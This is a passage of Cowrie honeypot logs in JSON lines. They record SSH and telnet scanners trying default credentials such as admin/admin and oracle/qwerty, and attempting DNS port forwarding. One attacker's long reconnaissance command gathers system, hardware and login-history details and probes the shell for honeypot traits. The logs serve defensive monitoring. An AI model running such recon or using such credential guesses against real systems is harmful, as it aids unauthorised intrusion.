],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:22:56.353839Z","src_ip":"176.53.159.196","session":"268e46b647cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:22:56.655727Z","src_ip":"176.53.159.196","session":"268e46b647cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:22:56.757921Z","session":"268e46b647cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:22:56.858925Z","src_ip":"176.53.159.196","session":"268e46b647cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:22:56.961311Z","src_ip":"176.53.159.196","session":"268e46b647cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38134,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eacefbacd50","protocol":"telnet","message":"New connection: 170.64.224.25:38134 (159.203.135.109:23) [session: 6eacefbacd50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:08.420752Z"}
{"eventid":"cowrie.session.closed","duration":51.720380783081055,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:21.998059Z","src_ip":"137.184.5.188","session":"02857840e2b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.7494592666626,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:43.170076Z","src_ip":"170.64.224.25","session":"6eacefbacd50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":5386,"dst_ip":"10.17.0.5","dst_port":22,"session":"b211fef8c154","protocol":"ssh","message":"New connection: 176.53.159.196:5386 (10.17.0.5:22) [session: b211fef8c154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:48.095186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:48.099346Z","src_ip":"176.53.159.196","session":"b211fef8c154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:48.202754Z","src_ip":"176.53.159.196","session":"b211fef8c154","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:48.509491Z","src_ip":"176.53.159.196","session":"b211fef8c154","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:48.615979Z","session":"b211fef8c154","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:48.717371Z","src_ip":"176.53.159.196","session":"b211fef8c154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:48.819747Z","src_ip":"176.53.159.196","session":"b211fef8c154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":57682,"dst_ip":"10.17.0.5","dst_port":22,"session":"29bf9e53c1b6","protocol":"ssh","message":"New connection: 91.92.40.176:57682 (10.17.0.5:22) [session: 29bf9e53c1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:54.756119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:54.759377Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:54.842628Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qwerty","message":"login attempt [oracle/qwerty] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.094352Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.292366Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.294794Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.297405Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.299684Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.302122Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.305227Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.307377Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.309728Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.312198Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.315173Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.317944Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.407409Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:23:55.491805Z","src_ip":"91.92.40.176","session":"29bf9e53c1b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50192,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e7299693730","protocol":"telnet","message":"New connection: 107.6.151.170:50192 (159.203.135.109:23) [session: 3e7299693730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:01.088299Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54732,"dst_ip":"159.203.135.109","dst_port":23,"session":"8454d46d8bb4","protocol":"telnet","message":"New connection: 107.6.151.170:54732 (159.203.135.109:23) [session: 8454d46d8bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:17.753636Z"}
{"eventid":"cowrie.session.closed","duration":0.005242824554443359,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:17.758715Z","src_ip":"107.6.151.170","session":"8454d46d8bb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":34632,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b67b26ac317","protocol":"ssh","message":"New connection: 46.19.67.181:34632 (159.203.135.109:22) [session: 9b67b26ac317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:27.711730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:27.716050Z","src_ip":"46.19.67.181","session":"9b67b26ac317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:27.826466Z","src_ip":"46.19.67.181","session":"9b67b26ac317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"224488","message":"login attempt [root/224488] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:28.161260Z","src_ip":"46.19.67.181","session":"9b67b26ac317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:29.272786Z","src_ip":"46.19.67.181","session":"9b67b26ac317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.881747007369995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:32.969846Z","src_ip":"107.6.151.170","session":"3e7299693730","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":53828,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd47ee9ef0d4","protocol":"ssh","message":"New connection: 154.70.102.114:53828 (10.17.0.5:22) [session: dd47ee9ef0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:37.015932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:37.019228Z","src_ip":"154.70.102.114","session":"dd47ee9ef0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:37.226327Z","src_ip":"154.70.102.114","session":"dd47ee9ef0d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456jh","message":"login attempt [root/123456jh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:38.090025Z","src_ip":"154.70.102.114","session":"dd47ee9ef0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:39.300793Z","src_ip":"154.70.102.114","session":"dd47ee9ef0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":51784,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffb42ef244d7","protocol":"ssh","message":"New connection: 162.144.61.95:51784 (159.203.135.109:22) [session: ffb42ef244d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:46.603617Z"}
